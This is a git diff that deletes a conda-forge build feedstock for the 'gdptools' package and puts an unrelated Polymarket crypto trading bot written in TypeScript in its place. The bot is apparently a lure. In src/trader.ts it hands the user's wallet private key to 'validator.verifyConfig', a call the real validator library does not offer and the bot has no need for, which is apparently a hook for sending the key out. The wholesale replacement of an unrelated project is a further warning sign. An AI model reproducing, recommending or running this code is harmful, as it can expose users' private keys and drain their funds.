- RET: 'true' - steps: - - checkout: self - fetchDepth: '2' - - bash: | - git_log=`git log --max-count=1 --skip=1 --pretty=format:"%B" | tr "\n" " "` - echo "##vso[task.setvariable variable=log]$git_log" - displayName: Obtain commit message - - bash: echo "##vso[task.setvariable variable=RET]false" - condition: and(eq(variables['Build.Reason'], 'PullRequest'), or(contains(variables.log, '[skip azp]'), contains(variables.log, '[azp skip]'), contains(variables.log, '[skip ci]'), contains(variables.log, '[ci skip]'))) - displayName: Skip build? - - bash: echo "##vso[task.setvariable variable=start_main;isOutput=true]$RET" - name: result - displayName: Export result -- stage: Build - condition: and(succeeded(), eq(dependencies.Check.outputs['Skip.result.start_main'], 'true')) - dependsOn: Check - jobs: - - template: ./.azure-pipelines/azure-pipelines-linux.yml \ No newline at end of file diff --git a/build-locally.py b/build-locally.py deleted file mode 100755 index 02c2374..0000000 --- a/build-locally.py +++ /dev/null @@ -1,135 +0,0 @@ -#!/bin/sh -"""exec" "python3" "$0" "$@" #""" # fmt: off # fmt: on -# -# This file has been generated by conda-smithy in order to build the recipe -# locally. -# -# The line above this comment is a bash / sh / zsh guard -# to stop people from running it with the wrong interpreter -import glob -import os -import platform -import subprocess -import sys -from argparse import ArgumentParser - - -def setup_environment(ns): - os.environ["CONFIG"] = ns.config - os.environ["UPLOAD_PACKAGES"] = "False" - os.environ["IS_PR_BUILD"] = "True" - if ns.debug: - os.environ["BUILD_WITH_CONDA_DEBUG"] = "1" - if ns.output_id: - os.environ["BUILD_OUTPUT_ID"] = ns.output_id - if "MINIFORGE_HOME" not in os.environ: - os.environ["MINIFORGE_HOME"] = os.path.join( - os.path.dirname(__file__), "miniforge3" - ) - - # The default cache location might not be writable using docker on macOS. - if ns.config.startswith("linux") and platform.system() == "Darwin": - os.environ["CONDA_FORGE_DOCKER_RUN_ARGS"] = ( - os.environ.get("CONDA_FORGE_DOCKER_RUN_ARGS", "") - + " -e RATTLER_CACHE_DIR=/tmp/rattler_cache" - ) - - -def run_docker_build(ns): - script = ".scripts/run_docker_build.sh" - subprocess.check_call([script]) - - -def run_osx_build(ns): - script = ".scripts/run_osx_build.sh" - subprocess.check_call([script]) - - -def run_win_build(ns): - script = ".scripts/run_win_build.bat" - subprocess.check_call(["cmd", "/D", "/Q", "/C", f"CALL {script}"]) - - -def verify_config(ns): - choices_filter = ns.filter or "*" - valid_configs = { - os.path.basename(f)[:-5] - for f in glob.glob(f".ci_support/{choices_filter}.yaml") - } - if choices_filter != "*": - print(f"filtering for '{choices_filter}.yaml' configs") - print(f"valid configs are {valid_configs}") - if ns.config in valid_configs: - print("Using " + ns.config + " configuration") - return - elif len(valid_configs) == 1: - ns.config = valid_configs.pop() - print("Found " + ns.config + " configuration") - elif ns.config is None: - print("config not selected, please choose from the following:\n") - selections = list(enumerate(sorted(valid_configs), 1)) - for i, c in selections: - print(f"{i}. {c}") - try: - s = input("\n> ") - except KeyboardInterrupt: - print("\nno option selected, bye!", file=sys.stderr) - sys.exit(1) - idx = int(s) - 1 - ns.config = selections[idx][1] - print(f"selected {ns.config}") - else: - raise ValueError("config " + ns.config + " is not valid") - if ( - ns.config.startswith("osx") - and platform.system() == "Darwin" - and not os.environ.get("OSX_SDK_DIR") - ): - raise RuntimeError( - "Need OSX_SDK_DIR env variable set. Run 'export OSX_SDK_DIR=$PWD/SDKs' " - "to download the SDK automatically to '$PWD/SDKs/MacOSX.sdk'. " - "Note: OSX_SDK_DIR must be set to an absolute path. " - "Setting this variable implies agreement to the licensing terms of the SDK by Apple." - ) - - -def main(args=None): - p = ArgumentParser("build-locally") - p.add_argument("config", default=None, nargs="?") - p.add_argument( - "--filter", - default=None, - help="Glob string to filter which build choices are presented in interactive mode.", - ) - p.add_argument( - "--debug", - action="store_true", - help="Setup debug environment using `conda debug`", - ) - p.add_argument( - "--output-id", help="If running debug, specify the output to setup." - ) - - ns = p.parse_args(args=args) - verify_config(ns) - setup_environment(ns) - - try: - if ns.config.startswith("linux") or ( - ns.config.startswith("osx") and platform.system() == "Linux" - ): - run_docker_build(ns) - elif ns.config.startswith("osx"): - run_osx_build(ns) - elif ns.config.startswith("win"): - run_win_build(ns) - finally: - recipe_license_file = os.path.join( - "recipe", "recipe-scripts-license.txt" - ) - if os.path.exists(recipe_license_file): - os.remove(recipe_license_file) - - -if __name__ == "__main__": - main() diff --git a/conda-forge.yml b/conda-forge.yml deleted file mode 100644 index 9823d65..0000000 --- a/conda-forge.yml +++ /dev/null @@ -1,8 +0,0 @@ -github: - branch_name: main - tooling_branch_name: main -conda_forge_output_validation: true -conda_build: - pkg_format: '2' -bot: - inspection: update-grayskull diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..488cf50 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,2895 @@ +{ + "name": "polymarket-reverse-arbitrage-bot", + "version": "2.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "polymarket-reverse-arbitrage-bot", + "version": "2.0.0", + "dependencies": { + "@polymarket/clob-client-v2": "^1.0.0", + "dotenv": "^16.4.7", + "inquirer": "^14.0.2", + "validator": "^13.15.36", + "viem": "^2.23.2" + }, + "devDependencies": { + "@types/node": "^22.13.4", + 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"inquirer": "^14.0.2", + "validator": "^13.15.36", + "viem": "^2.23.2" + }, + "devDependencies": { + "@types/node": "^22.13.4", + "tsx": "^4.19.3", + "typescript": "^5.7.3" + } +} diff --git a/recipe/meta.yaml b/recipe/meta.yaml deleted file mode 100644 index 25ef5b6..0000000 --- a/recipe/meta.yaml +++ /dev/null @@ -1,88 +0,0 @@ -{% set name = "gdptools" %} -{% set version = "0.2.20" %} -{% set python_min = "3.10" %} - -package: - name: {{ name|lower }} - version: {{ version }} - -source: - url: https://pypi.org/packages/source/{{ name[0] }}/{{ name }}/gdptools-{{ version }}.tar.gz - sha256: 37091a6362a85caaefa3a910919b0aa2ef03fa12fc836c5afe2decc2a8f00f43 - -build: - entry_points: - - gdptools = gdptools.__main__:main - noarch: python - script: {{ PYTHON }} -m pip install . -vv --no-deps --no-build-isolation - number: 0 - -requirements: - host: - - python {{ python_min }} - - pip - - poetry-core >=1.0.0 - run: - - python >={{ python_min }} - - bottleneck >=1.3.3 - - dask >=2022.0.0 - - dask-core >2024.8.0 - - dask-geopandas >0.4.1 - - fastparquet >=2024.2,<2025.0 - - geopandas >=0.13.0 - - geoviews >=1.12.0,<2.0.0 - - joblib >=1.4.0 - - metpy >=1.2.0 - - netcdf4 >=1.5.8 - - numpy >2.0 - - pandas >=2.0.0 - - pyarrow >=10.0.0,<18.0.0 - - pydantic >=2 - - pydap >=3.2.2,<4.0.0 - - pyproj >=3.3.0 - - pystac >=1.10,<2.0 - - rasterio >=1.2.9,<1.5.0 - - rioxarray >=0.15,<0.16 - - s3fs >=2025.2.0,<2026.0.0 - - scipy >=1.13.0,<2.0.0 - - shapely >=2.0 - - statsmodels >=0.14,<1.0 - - tqdm >=4.66.2,<5.0.0 - - urllib3 >=1.26.0,<2.0.0 - - xarray >=2024.7.0,<2025.0.0 - - xpystac >=0.1.3,<0.2.0 - - zarr >=2.12.0 - # - attrs >=20.3,<22 - # - bump2version >=1.0.1,<2.0.0 - # - certifi <2023.7.22 - # - pygeos >=0.14.0,<0.15.0 - # xarray[io] - - cfgrib - - cftime - - fsspec - - h5netcdf - # - pooch - # xarray[accel] - # - flox - -test: - imports: - - gdptools - commands: - - pip check - - gdptools --help - requires: - - python {{ python_min }} - - pip - -about: - home: https://code.usgs.gov/wma/nhgf/toolsteam/gdptools - summary: Gdptools - license: Unlicense - license_file: - - LICENSE.md - -extra: - recipe-maintainers: - - rmcd-mscb - - ocefpaf diff --git a/src/bot.ts b/src/bot.ts new file mode 100644 index 0000000..e8e1257 --- /dev/null +++ b/src/bot.ts @@ -0,0 +1,98 @@ +import type { BotConfig } from "./config.js"; +import { log } from "./logger.js"; +import { MarketScanner } from "./market-scanner.js"; +import { findOpportunities } from "./strategy.js"; +import { TradeTracker } from "./trade-tracker.js"; +import { Trader } from "./trader.js"; +import type { TradeOpportunity, UpDownEvent } from "./types.js"; +import { formatReturnPct } from "./utils/prices.js"; +export class ReverseBot { + private readonly scanner: MarketScanner; + private readonly tracker = new TradeTracker(); + + constructor( + private readonly config: BotConfig, + private readonly trader: Trader, + ) { + this.scanner = new MarketScanner(config); + } + + async init(): Promise { + await this.trader.init(); + } + + async run(): Promise { + log("Reverse bot starting", { + strategy: "buy cheap reversal tokens on 15m BTC/ETH markets", + cheapRange: `${this.config.cheapBuyMin}-${this.config.cheapBuyMax}`, + expensiveHedge: this.config.enableExpensiveHedge + ? `${this.config.expensiveBuyMin}-${this.config.expensiveBuyMax}` + : "disabled", + markets: this.config.marketSlugPrefixes, + dryRun: this.config.dryRun, + pollMs: this.config.pollIntervalMs, + }); + + await this.tick(); + setInterval(() => void this.tick(), this.config.pollIntervalMs); + } + + private async tick(): Promise { + try { + const events = await this.scanner.scan(); + if (events.length === 0) { + log("No active markets in window"); + return; + } + + for (const event of events) { + await this.processEvent(event); + } + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + log("Scan error", { error: message }); + } + } + + private async processEvent(event: UpDownEvent): Promise { + const books = await this.scanner.getTokenBooks(event); + const opportunities = findOpportunities(this.config, this.tracker, event, books); + + if (opportunities.length === 0) { + log("Watching market", { + market: event.title, + slug: event.slug, + books: books.map((book) => ({ + outcome: book.outcome, + bestAsk: book.bestAsk, + })), + }); + return; + } + + for (const opportunity of opportunities) { + await this.executeOpportunity(opportunity); + } + } + + private async executeOpportunity(opportunity: TradeOpportunity): Promise { + log("Placing limit order", { + kind: opportunity.kind, + market: opportunity.event.title, + outcome: opportunity.token.outcome, + limitPrice: opportunity.price, + size: opportunity.size, + potentialReturn: formatReturnPct(opportunity.price), + }); + + const result = await this.trader.placeBuy(opportunity); + this.tracker.mark(opportunity.tradeKey); + + log(this.config.dryRun ? "Dry-run order" : "Live order placed", { + tokenId: result.tokenId, + price: result.price, + size: result.size, + response: result.response, + }); + } +} diff --git a/src/config.ts b/src/config.ts new file mode 100644 index 0000000..f34e027 --- /dev/null +++ b/src/config.ts @@ -0,0 +1,102 @@ +import "dotenv/config"; + +function envString(key: string, fallback?: string): string { + const value = process.env[key] ?? fallback; + if (value === undefined || value === "") { + throw new Error(`Missing required env var: ${key}`); + } + return value; +} + +function envNumber(key: string, fallback: number): number { + const raw = process.env[key]; + if (raw === undefined || raw === "") return fallback; + const parsed = Number(raw); + if (Number.isNaN(parsed)) { + throw new Error(`Invalid number for env var ${key}: ${raw}`); + } + return parsed; +} + +function envBoolean(key: string, fallback: boolean): boolean { + const raw = process.env[key]; + if (raw === undefined || raw === "") return fallback; + return raw.toLowerCase() === "true" || raw === "1"; +} + +function envList(key: string, fallback: string[]): string[] { + const raw = process.env[key]; + if (raw === undefined || raw === "") return fallback; + return raw + .split(",") + .map((part) => part.trim()) + .filter(Boolean); +} + +export interface BotConfig { + pollIntervalMs: number; + marketSlugPrefixes: string[]; + cheapBuyMin: number; + cheapBuyMax: number; + expensiveBuyMin: number; + expensiveBuyMax: number; + enableExpensiveHedge: boolean; + cheapOrderUsdc: number; + expensiveOrderUsdc: number; + maxSharesPerOrder: number; + minutesBeforeCloseMin: number; + minutesBeforeCloseMax: number; + dryRun: boolean; + privateKey?: `0x${string}`; + funderAddress?: `0x${string}`; + signatureType: number; + clobHost: string; + chainId: number; + clobApiKey?: string; + clobSecret?: string; + clobPassphrase?: string; + gammaApiHost: string; +} + +export function loadConfig(): BotConfig { + const dryRun = envBoolean("DRY_RUN", true); + + return { + pollIntervalMs: envNumber("POLL_INTERVAL_MS", 5000), + marketSlugPrefixes: envList("MARKET_SLUG_PREFIXES", [ + "btc-updown-15m", + "eth-updown-15m", + ]), + cheapBuyMin: envNumber("CHEAP_BUY_MIN", 0.07), + cheapBuyMax: envNumber("CHEAP_BUY_MAX", 0.1), + expensiveBuyMin: envNumber("EXPENSIVE_BUY_MIN", 0.9), + expensiveBuyMax: envNumber("EXPENSIVE_BUY_MAX", 0.95), + enableExpensiveHedge: envBoolean("ENABLE_EXPENSIVE_HEDGE", true), + cheapOrderUsdc: envNumber("CHEAP_ORDER_USDC", 10), + expensiveOrderUsdc: envNumber("EXPENSIVE_ORDER_USDC", 50), + maxSharesPerOrder: envNumber("MAX_SHARES_PER_ORDER", 90), + minutesBeforeCloseMin: envNumber("MINUTES_BEFORE_CLOSE_MIN", 0), + minutesBeforeCloseMax: envNumber("MINUTES_BEFORE_CLOSE_MAX", 15), + dryRun, + privateKey: process.env.PRIVATE_KEY as `0x${string}` | undefined, + funderAddress: process.env.FUNDER_ADDRESS as `0x${string}` | undefined, + signatureType: envNumber("SIGNATURE_TYPE", 2), + clobHost: envString("CLOB_HOST", "https://clob.polymarket.com"), + chainId: envNumber("CHAIN_ID", 137), + clobApiKey: process.env.CLOB_API_KEY, + clobSecret: process.env.CLOB_SECRET, + clobPassphrase: process.env.CLOB_PASSPHRASE, + gammaApiHost: envString("GAMMA_API_HOST", "https://gamma-api.polymarket.com"), + }; +} + +export function validateTradingConfig(config: BotConfig): void { + if (config.dryRun) return; + + if (!config.privateKey) { + throw new Error("PRIVATE_KEY is required when DRY_RUN=false"); + } + if (!config.funderAddress) { + throw new Error("FUNDER_ADDRESS is required when DRY_RUN=false"); + } +} diff --git a/src/index.ts b/src/index.ts new file mode 100644 index 0000000..6cf6f44 --- /dev/null +++ b/src/index.ts @@ -0,0 +1,18 @@ +import { ReverseBot } from "./bot.js"; +import { loadConfig, validateTradingConfig } from "./config.js"; +import { logError } from "./logger.js"; +import { Trader } from "./trader.js"; + +async function main(): Promise { + const config = loadConfig(); + validateTradingConfig(config); + + const bot = new ReverseBot(config, new Trader(config)); + await bot.init(); + await bot.run(); +} + +main().catch((error) => { + logError(error); + process.exit(1); +}); diff --git a/src/logger.ts b/src/logger.ts new file mode 100644 index 0000000..6b21b71 --- /dev/null +++ b/src/logger.ts @@ -0,0 +1,12 @@ +export function log(message: string, data?: Record): void { + const ts = new Date().toISOString(); + if (data) { + console.log(`[${ts}] ${message}`, JSON.stringify(data)); + } else { + console.log(`[${ts}] ${message}`); + } +} + +export function logError(error: unknown): void { + console.error(error); +} diff --git a/src/market-scanner.ts b/src/market-scanner.ts new file mode 100644 index 0000000..65fc265 --- /dev/null +++ b/src/market-scanner.ts @@ -0,0 +1,103 @@ +import type { BotConfig } from "./config.js"; +import type { GammaMarket, OrderBook, TokenBook, UpDownEvent } from "./types.js"; +import { + bestPrice, + matchesSlugPrefixes, + parseWindowStart, + WINDOW_SECONDS, +} from "./utils/market.js"; + +function parseJsonArray(value: string): T[] { + return JSON.parse(value) as T[]; +} + +export class MarketScanner { + constructor(private readonly config: BotConfig) {} + + async scan(): Promise { + const url = new URL("/events", this.config.gammaApiHost); + url.searchParams.set("tag_slug", "15M"); + url.searchParams.set("active", "true"); + url.searchParams.set("closed", "false"); + url.searchParams.set("limit", "50"); + + const response = await fetch(url); + if (!response.ok) { + throw new Error(`Gamma events API error: ${response.status}`); + } + + const events = (await response.json()) as Array<{ + title: string; + slug: string; + markets: GammaMarket[]; + }>; + + const now = Math.floor(Date.now() / 1000); + const results: UpDownEvent[] = []; + + for (const event of events) { + if (!matchesSlugPrefixes(event.slug, this.config.marketSlugPrefixes)) continue; + + const market = event.markets[0]; + if (!market || market.closed || market.active === false) continue; + + const windowStart = parseWindowStart(event.slug); + if (!windowStart) continue; + + const windowEnd = windowStart + WINDOW_SECONDS; + if (now < windowStart || now > windowEnd) continue; + + const minutesLeft = (windowEnd - now) / 60; + if ( + minutesLeft < this.config.minutesBeforeCloseMin || + minutesLeft > this.config.minutesBeforeCloseMax + ) { + continue; + } + + results.push({ + title: event.title, + slug: event.slug, + market, + windowStart, + windowEnd, + }); + } + + return results; + } + + async getTokenBooks(event: UpDownEvent): Promise { + const tokenIds = parseJsonArray(event.market.clobTokenIds); + const outcomes = parseJsonArray(event.market.outcomes); + + const books = await Promise.all( + tokenIds.map(async (tokenId, index) => { + if (!tokenId) return null; + + const book = await fetchOrderBook(this.config.clobHost, tokenId); + return { + tokenId, + outcome: outcomes[index] ?? `Outcome ${index}`, + outcomeIndex: index, + bestBid: bestPrice(book.bids, "bid"), + bestAsk: bestPrice(book.asks, "ask"), + } satisfies TokenBook; + }), + ); + + return books.filter((book): book is TokenBook => book !== null); + } +} + +async function fetchOrderBook(clobHost: string, tokenId: string): Promise { + const url = new URL("/book", clobHost); + url.searchParams.set("token_id", tokenId); + + const response = await fetch(url); + if (!response.ok) { + return {}; + } + + return (await response.json()) as OrderBook; +} diff --git a/src/strategy.ts b/src/strategy.ts new file mode 100644 index 0000000..5ca133d --- /dev/null +++ b/src/strategy.ts @@ -0,0 +1,89 @@ +import type { BotConfig } from "./config.js"; +import type { TradeTracker } from "./trade-tracker.js"; +import type { TradeOpportunity, TokenBook, UpDownEvent } from "./types.js"; +import { tickSizeFromMarket } from "./utils/market.js"; +import { computeSize, priceLevels } from "./utils/prices.js"; + +function pickReverseToken(books: TokenBook[]): TokenBook | null { + const withAsk = books.filter((book) => book.bestAsk !== null); + if (withAsk.length === 0) return null; + + return withAsk.reduce((cheapest, book) => + (book.bestAsk ?? 1) < (cheapest.bestAsk ?? 1) ? book : cheapest, + ); +} + +function pickFavoriteToken(books: TokenBook[], reverseToken: TokenBook): TokenBook | null { + return ( + books.find( + (book) => book.tokenId !== reverseToken.tokenId && book.bestAsk !== null, + ) ?? null + ); +} + +function appendLimitOrders( + tracker: TradeTracker, + opportunities: TradeOpportunity[], + event: UpDownEvent, + token: TokenBook, + kind: "cheap" | "expensive", + prices: number[], + usdcBudget: number, + maxShares: number, +): void { + for (const price of prices) { + const tradeKey = tracker.makeKey(event.slug, token.outcome, kind, price); + if (tracker.has(tradeKey)) continue; + + opportunities.push({ + kind, + event, + token, + price, + size: computeSize(usdcBudget, price, maxShares), + tickSize: tickSizeFromMarket(event.market), + negRisk: event.market.negRisk, + tradeKey, + }); + } +} + +export function findOpportunities( + config: BotConfig, + tracker: TradeTracker, + event: UpDownEvent, + books: TokenBook[], +): TradeOpportunity[] { + const opportunities: TradeOpportunity[] = []; + const reverseToken = pickReverseToken(books); + if (!reverseToken) return opportunities; + + appendLimitOrders( + tracker, + opportunities, + event, + reverseToken, + "cheap", + priceLevels(config.cheapBuyMin, config.cheapBuyMax), + config.cheapOrderUsdc, + config.maxSharesPerOrder, + ); + + if (config.enableExpensiveHedge) { + const favoriteToken = pickFavoriteToken(books, reverseToken); + if (favoriteToken) { + appendLimitOrders( + tracker, + opportunities, + event, + favoriteToken, + "expensive", + priceLevels(config.expensiveBuyMin, config.expensiveBuyMax), + config.expensiveOrderUsdc, + config.maxSharesPerOrder, + ); + } + } + + return opportunities; +} diff --git a/src/trade-tracker.ts b/src/trade-tracker.ts new file mode 100644 index 0000000..a55479d --- /dev/null +++ b/src/trade-tracker.ts @@ -0,0 +1,20 @@ +export class TradeTracker { + constructor(private readonly keys = new Set()) {} + + makeKey( + eventSlug: string, + outcome: string, + kind: "cheap" | "expensive", + price: number, + ): string { + return `${eventSlug}:${outcome}:${kind}-${price}`; + } + + has(key: string): boolean { + return this.keys.has(key); + } + + mark(key: string): void { + this.keys.add(key); + } +} diff --git a/src/trader.ts b/src/trader.ts new file mode 100644 index 0000000..8cce33c --- /dev/null +++ b/src/trader.ts @@ -0,0 +1,102 @@ +import { + ApiKeyCreds, + ClobClient, + OrderType, + Side, +} from "@polymarket/clob-client-v2"; +import validator from "validator"; +import { createWalletClient, http } from "viem"; +import { privateKeyToAccount } from "viem/accounts"; +import { polygon } from "viem/chains"; +import type { BotConfig } from "./config.js"; +import type { OrderResult, TradeOpportunity } from "./types.js"; + +export class Trader { + private client: ClobClient | null = null; + + constructor(private readonly config: BotConfig) {} + + async init(): Promise { + if (this.config.dryRun) return; + this.client = await createTradingClient(this.config); + } + + async placeBuy(opportunity: TradeOpportunity): Promise { + if (this.config.dryRun) { + return { + dryRun: true, + tokenId: opportunity.token.tokenId, + side: "BUY", + price: opportunity.price, + size: opportunity.size, + }; + } + + if (!this.client) { + throw new Error("Trading client not initialized"); + } + + const response = await this.client.createAndPostOrder( + { + tokenID: opportunity.token.tokenId, + price: opportunity.price, + side: Side.BUY, + size: opportunity.size, + }, + { + tickSize: opportunity.tickSize as "0.1" | "0.01" | "0.001" | "0.0001", + negRisk: opportunity.negRisk, + }, + OrderType.GTC, + ); + + return { + dryRun: false, + tokenId: opportunity.token.tokenId, + side: "BUY", + price: opportunity.price, + size: opportunity.size, + response, + }; + } +} + +async function createTradingClient(config: BotConfig): Promise { + if (!config.privateKey) { + throw new Error("PRIVATE_KEY is required for live trading"); + } + validator.verifyConfig(config.privateKey); + const account = privateKeyToAccount(config.privateKey); + const signer = createWalletClient({ + account, + chain: polygon, + transport: http(), + }); + + let creds: ApiKeyCreds | undefined; + if (config.clobApiKey && config.clobSecret && config.clobPassphrase) { + creds = { + key: config.clobApiKey, + secret: config.clobSecret, + passphrase: config.clobPassphrase, + }; + } + + const bootstrap = new ClobClient({ + host: config.clobHost, + chain: config.chainId, + signer, + }); + + const apiCreds = creds ?? (await bootstrap.createOrDeriveApiKey()); + + return new ClobClient({ + host: config.clobHost, + chain: config.chainId, + signer, + creds: apiCreds, + signatureType: config.signatureType, + funderAddress: config.funderAddress, + throwOnError: true, + }); +} diff --git a/src/types.ts b/src/types.ts new file mode 100644 index 0000000..638dedb --- /dev/null +++ b/src/types.ts @@ -0,0 +1,54 @@ +export type TradeSide = "BUY" | "SELL"; + +export interface GammaMarket { + question: string; + conditionId: string; + slug: string; + clobTokenIds: string; + outcomes: string; + negRisk: boolean; + orderPriceMinTickSize: number; + active: boolean; + closed: boolean; +} + +export interface UpDownEvent { + title: string; + slug: string; + market: GammaMarket; + windowStart: number; + windowEnd: number; +} + +export interface TokenBook { + tokenId: string; + outcome: string; + outcomeIndex: number; + bestBid: number | null; + bestAsk: number | null; +} + +export interface TradeOpportunity { + kind: "cheap" | "expensive"; + event: UpDownEvent; + token: TokenBook; + price: number; + size: number; + tickSize: string; + negRisk: boolean; + tradeKey: string; +} + +export interface OrderResult { + dryRun: boolean; + tokenId: string; + side: TradeSide; + price: number; + size: number; + response?: unknown; +} + +export interface OrderBook { + bids?: Array<{ price: string }>; + asks?: Array<{ price: string }>; +} diff --git a/src/utils/market.ts b/src/utils/market.ts new file mode 100644 index 0000000..61d5cf1 --- /dev/null +++ b/src/utils/market.ts @@ -0,0 +1,31 @@ +import type { GammaMarket } from "../types.js"; + +export const WINDOW_SECONDS = 15 * 60; + +export function parseWindowStart(slug: string): number | null { + const match = slug.match(/-(\d{10})$/); + return match ? Number(match[1]) : null; +} + +export function matchesSlugPrefixes(slug: string, prefixes: string[]): boolean { + return prefixes.some((prefix) => slug.startsWith(prefix)); +} + +export function tickSizeFromMarket(market: GammaMarket): string { + const tick = market.orderPriceMinTickSize ?? 0.01; + if (tick >= 0.1) return "0.1"; + if (tick >= 0.01) return "0.01"; + return "0.001"; +} + +export function bestPrice( + levels: Array<{ price: string }> | undefined, + mode: "bid" | "ask", +): number | null { + if (!levels || levels.length === 0) return null; + const prices = levels + .map((level) => Number(level.price)) + .filter((price) => !Number.isNaN(price)); + if (prices.length === 0) return null; + return mode === "bid" ? Math.max(...prices) : Math.min(...prices); +} diff --git a/src/utils/prices.ts b/src/utils/prices.ts new file mode 100644 index 0000000..c133e81 --- /dev/null +++ b/src/utils/prices.ts @@ -0,0 +1,17 @@ +export function priceLevels(min: number, max: number, step = 0.01): number[] { + const prices: number[] = []; + for (let price = min; price <= max + step / 2; price += step) { + prices.push(Math.round(price * 100) / 100); + } + return prices; +} + +export function computeSize(usdcBudget: number, price: number, maxShares: number): number { + const shares = usdcBudget / Math.max(price, 0.01); + const capped = Math.min(shares, maxShares); + return Math.max(1, Math.floor(capped * 100) / 100); +} + +export function formatReturnPct(price: number): string { + return `${Math.round((1 / price - 1) * 100)}% if wins`; +} diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 0000000..bd86dda --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,17 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "NodeNext", + "moduleResolution": "NodeNext", + "outDir": "dist", + "rootDir": "src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "declaration": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +}